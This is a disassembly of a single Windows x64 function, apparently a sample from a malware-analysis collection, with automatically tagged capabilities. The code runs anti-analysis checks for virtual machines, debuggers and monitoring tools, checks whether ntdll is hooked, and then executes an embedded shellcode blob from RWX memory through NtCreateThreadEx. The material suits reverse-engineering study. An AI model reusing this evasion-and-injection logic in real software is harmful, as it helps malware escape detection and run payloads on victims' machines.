Function at 0x1400112c6
Capabilities:
Allocate or change rwx memory
Enumerate files on windows
Enumerate gui resources
Enumerate process modules
Enumerate processes
Execute shellcode via windows callback function
Get common file path
Get file size
Get memory capacity
Get system information on windows
Read file via mapping
Terminate process
Terminate process by name

Disassembly:
jmp 0x140012430
push rbp
push rsi
push rdi
mov eax, 0x2e20
call fcn.1400110be
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x9f0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140022008]
xor rax, rbp
mov qword [rbp + 0x2db8], rax
lea rcx, [0x14002811b]
call fcn.14001141a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x54]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp + 0x34]
mov rcx, qword [rbp + 0x28]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x38]
imul rax, rcx
mov ecx, dword [rbp + 0x3c]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov dword [rbp + 0x74], eax
cmp dword [rbp + 0x74], 0x32
jae 0x14001253b
jmp 0x140012cf7
mov dword [rbp + 0xa0], 0x40
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rbp + 0xa8]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0x800
jae 0x140012584
jmp 0x140012cf7
lea rcx, [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x138]
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 2
jae 0x1400125ab
jmp 0x140012cf7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1400113c5
mov dword [rbp + 0x184], eax
mov dword [rbp + 0x3d4], 0x104
mov r8d, dword [rbp + 0x184]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x3f8], rax
lea r9, [rbp + 0x3d4]
lea r8, [rbp + 0x1b0]
xor edx, edx
mov rcx, qword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.WINDBG.EXE
lea rcx, [rbp + 0x1b0]
call fcn.1400110a0
test rax, rax
je 0x14001262a
jmp 0x140012cf7
lea rdx, str.SAMPLE.EXE
lea rcx, [rbp + 0x1b0]
call fcn.1400110a0
test rax, rax
je 0x140012647
jmp 0x140012cf7
lea rax, [rbp + 0x420]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rbp + 0x420], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111d6
mov qword [rbp + 0x678], rax
lea rdx, [rbp + 0x420]
mov rcx, qword [rbp + 0x678]
call fcn.140011276
test eax, eax
je 0x140012752
lea r8, [rbp + 0x44c]
mov edx, 0x104
lea rcx, [rbp + 0x6a0]
call fcn.14001137f
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.WIRESHARK.EXE
lea rcx, [rbp + 0x6a0]
call fcn.1400110a0
test rax, rax
je 0x1400126d7
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, str.PROCMON.EXE
lea rcx, [rbp + 0x6a0]
call fcn.1400110a0
test rax, rax
je 0x1400126f7
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, str.IDA.EXE
lea rcx, [rbp + 0x6a0]
call fcn.1400110a0
test rax, rax
je 0x140012717
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, str.X64DBG.EXE
lea rcx, [rbp + 0x6a0]
call fcn.1400110a0
test rax, rax
je 0x140012737
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, [rbp + 0x420]
mov rcx, qword [rbp + 0x678]
call fcn.1400113bb
test eax, eax
jne 0x140012692
lea rdx, [rbp + 0x8d0]
lea rcx, str.C:WindowsSystem32VBox.dll
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x140012771
jmp 0x140012cf7
lea rax, [rbp + 0xb38]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001ServicesVBoxSF
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400127a3
jmp 0x140012cf7
mov r8d, 0x105
lea rdx, [rbp + 0xb60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0xb60]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.BUTTERFLY.EXE
lea rcx, [rbp + 0xb60]
call fcn.1400110a0
test rax, rax
jne 0x1400127e2
jmp 0x140012cf7
lea rax, [rbp + 0xd88]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xd88]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rbp + 0xda4], 1
jae 0x140012879
jmp 0x140012cf7
mov qword [rbp + 0xdc8], 0
lea r9, [rbp + 0xdc8]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14001edd0]
call fcn.14001119f
movzx eax, word [0x14001c67c]
mov word [rbp + 0xdf0], ax
lea rax, [rbp + 0xdf2]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8, qword [rbp + 0xdc8]
mov edx, 0x104
lea rcx, [rbp + 0xdf0]
call fcn.1400111f4
lea r8, [0x14001c8b4]
mov edx, 0x104
lea rcx, [rbp + 0xdf0]
call fcn.1400111f4
mov dword [rbp + 0x1014], 0
lea rdx, [rbp + 0x1040]
lea rcx, [rbp + 0xdf0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x12a8], rax
cmp qword [rbp + 0x12a8], 0xffffffffffffffff
je 0x140012942
mov eax, dword [rbp + 0x1014]
inc eax
mov dword [rbp + 0x1014], eax
lea rdx, [rbp + 0x1040]
mov rcx, qword [rbp + 0x12a8]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001291c
cmp dword [rbp + 0x1014], 2
jl 0x14001295a
mov eax, dword [rbp + 0x1014]
sub eax, 2
mov dword [rbp + 0x1014], eax
cmp dword [rbp + 0x1014], 0x14
jge 0x140012968
jmp 0x140012cf7
mov byte [rbp + 0x12c4], 0
lea rdx, [rbp + 0x12c4]
lea rcx, [0x140011014]
call qword [sym.imp.USER32.dll_EnumWindows]
movzx eax, byte [rbp + 0x12c4]
test eax, eax
je 0x140012993
jmp 0x140012cf7
lea r8, [rbp + 0x2304]
mov edx, 0x1000
lea rcx, [rbp + 0x12f0]
call fcn.140011190
mov eax, dword [rbp + 0x2304]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rbp + 0x2324], eax
cmp dword [rbp + 0x2324], 0x32
jae 0x1400129cf
jmp 0x140012cf7
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x2348], rax
xor edx, edx
mov rcx, qword [rbp + 0x2348]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x2364], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rbp + 0x2348]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp + 0x2388], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rbp + 0x2388]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x23a8], rax
mov rcx, qword [rbp + 0x2348]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x23a8]
mov qword [rbp + 0x23c8], rax
mov rax, qword [rbp + 0x23c8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x23e8], rax
mov rax, qword [rbp + 0x23e8]
add rax, 0x18
mov qword [rbp + 0x2408], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x2408]
mov eax, dword [rcx + rax + 0x70]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x2428], rax
mov rax, qword [rbp + 0x2428]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x2448], rax
mov rax, qword [rbp + 0x2428]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x2468], rax
mov rax, qword [rbp + 0x2428]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x2488], rax
mov qword [rbp + 0x24a8], 0
mov dword [rbp + 0x24c4], 0
jmp 0x140012b6a
mov eax, dword [rbp + 0x24c4]
inc eax
mov dword [rbp + 0x24c4], eax
mov rax, qword [rbp + 0x2428]
mov eax, dword [rax + 0x18]
cmp dword [rbp + 0x24c4], eax
jae 0x140012bef
movsxd rax, dword [rbp + 0x24c4]
mov rcx, qword [rbp + 0x2468]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x24e8], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0x24e8]
call fcn.140011483
test eax, eax
jne 0x140012bea
movsxd rax, dword [rbp + 0x24c4]
mov rcx, qword [rbp + 0x2488]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rbp + 0x2448]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rbp + 0x23a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x24a8], rax
jmp 0x140012bef
jmp 0x140012b5c
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2508], rax
mov r8d, 0x10
mov rdx, qword [rbp + 0x24a8]
mov rcx, qword [rbp + 0x2508]
call fcn.140011172
test eax, eax
je 0x140012c35
jmp 0x140012cf7
lea rcx, str.Now_hacking..._n
call fcn.140011195
lea rax, [rbp + 0x2530]
lea rcx, [0x14001c960]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x215
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x215
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x2768], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x27a8], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x2768]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x27a8]
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x2788]
call fcn.14001122b
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2788]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140012cfb
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001c4f0]
call fcn.140011389
mov rax, rdi
mov rcx, qword [rbp + 0x2db8]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x2dc0]
pop rdi
pop rsi
pop rbp
ret